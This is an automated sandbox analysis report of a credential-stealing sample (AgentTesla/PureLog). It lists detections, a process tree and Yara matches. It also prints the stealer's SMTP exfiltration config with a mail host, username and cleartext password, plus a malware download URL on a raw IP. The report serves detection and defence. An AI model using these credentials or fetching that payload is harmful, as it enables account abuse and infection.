Edit tour

Windows Analysis Report
NEW_ORDER_12-18-23.exe

Overview

General Information

Sample name:	NEW_ORDER_12-18-23.exe
Analysis ID:	1363933
MD5:	70fac030623deb6181201fd0ca321bb4
SHA1:	f76fa53071642b4af732b2388408a8c8b8ad15f3
SHA256:	cfc1cd526a745e9154cda0c23f0cce1999ec4325af86fc79d3b1072631b17329
Tags:	exe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Downloads files with wrong headers with respect to MIME Content-Type

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

NEW_ORDER_12-18-23.exe (PID: 7272 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7372 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7380 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7388 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7396 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7404 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7412 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7420 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7428 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7436 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

NEW_ORDER_12-18-23.exe (PID: 7444 cmdline: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Roaming\spof.exe" MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7708 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7716 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7724 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7732 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7740 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7748 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7756 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7764 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7772 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7780 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 7948 cmdline: "C:\Users\user\AppData\Roaming\spof.exe" MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8012 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8020 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8028 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8036 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8044 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8052 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8060 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8068 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8076 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

spof.exe (PID: 8084 cmdline: C:\Users\user\AppData\Roaming\spof.exe MD5: 70FAC030623DEB6181201FD0CA321BB4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/ https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.asiaparadisehotel.com", "Username": "mangirish@asiaparadisehotel.com", "Password": "H?2=G%Dc0S^Q"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.1968348865.0000012B1C5A2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.1903558795.000002225BA12000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1968348865.0000012B1C552000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1750794274.0000024A11CFA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1968348865.0000012B1C44A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1753742623.0000024A7C850000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1750794274.0000024A10091000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.1903558795.000002225B8BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: spof.exe PID: 7500	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: spof.exe PID: 7500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: spof.exe PID: 7500	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: spof.exe PID: 7500	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: spof.exe PID: 7948	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: spof.exe PID: 7948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: spof.exe PID: 7948	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: spof.exe PID: 7948	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
25.2.spof.exe.12b1c5a2b28.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225b9c2ab8.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
25.2.spof.exe.12b1c52aab8.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225b99aa80.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
25.2.spof.exe.12b1c52aab8.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.22249e11790.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
25.2.spof.exe.12b0a9a7ab0.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a7c850000.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a00219f98.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a00219f98.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11df6748.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225ba12af0.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
25.2.spof.exe.12b1c7123e8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
25.2.spof.exe.12b1c7123e8.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
25.2.spof.exe.12b1c7123e8.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33aa0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33b9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33c98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33da0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e30:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
25.2.spof.exe.12b1c552af0.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31ca0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31d9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31e98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31fa0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32030:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
25.2.spof.exe.12b1c7123e8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
25.2.spof.exe.12b1c7123e8.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
25.2.spof.exe.12b1c7123e8.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31ca0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31d9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31e98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31fa0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32030:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33aa0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33b9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33c98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33da0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e30:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
25.2.spof.exe.12b0a9a7ab0.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225b99aa80.6.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225bb97db0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.spof.exe.2225bb97db0.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.spof.exe.2225bb97db0.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31ca0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31d12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31d9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31e2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31e98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31f0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31fa0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32030:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW_ORDER_12-18-23.exe.24a100c5e90.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.NEW_ORDER_12-18-23.exe.24a11da6710.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.2225bb97db0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.spof.exe.2225bb97db0.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.spof.exe.2225bb97db0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33aa0:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b12:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33b9c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c2e:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33c98:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d0a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33da0:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e30:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.spof.exe.22249e11790.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
11.2.spof.exe.22249e11790.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.spof.exe.22249e11790.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.spof.exe.22249e11790.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x167848:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x1678ba:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x167944:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1679d6:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x167a40:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x167ab2:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x167b48:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x167bd8:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.spof.exe.22249e4e2b8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.spof.exe.22249e4e2b8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.spof.exe.22249e4e2b8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x12ad20:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x12ad92:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x12ae1c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x12aeae:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x12af18:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x12af8a:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x12b020:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x12b0b0:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 37 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.137.22.163/Akoob.pdf	Avira URL Cloud: Label: malware
Source: http://45.137.22.163/Akoob.pdf(Qu	Avira URL Cloud: Label: malware
Source: http://45.137.22.163/Akoob.pdf(Q	Avira URL Cloud: Label: malware
Source: http://45.137.22.163	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.asiaparadisehotel.com", "Username": "mangirish@asiaparadisehotel.com", "Password": "H?2=G%Dc0S^Q"}

Multi AV Scanner detection for domain / URL

Source: http://45.137.22.163/Akoob.pdf	Virustotal: Detection: 12%			Perma Link
Source: http://45.137.22.163	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\spof.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Roaming\spof.exe	Virustotal: Detection: 34%			Perma Link

Multi AV Scanner detection for submitted file

Source: NEW_ORDER_12-18-23.exe	Virustotal: Detection: 34%			Perma Link
Source: NEW_ORDER_12-18-23.exe	ReversingLabs: Detection: 27%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\spof.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NEW_ORDER_12-18-23.exe

Joe Sandbox ML: detected

Source: NEW_ORDER_12-18-23.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp

Networking

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:04 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 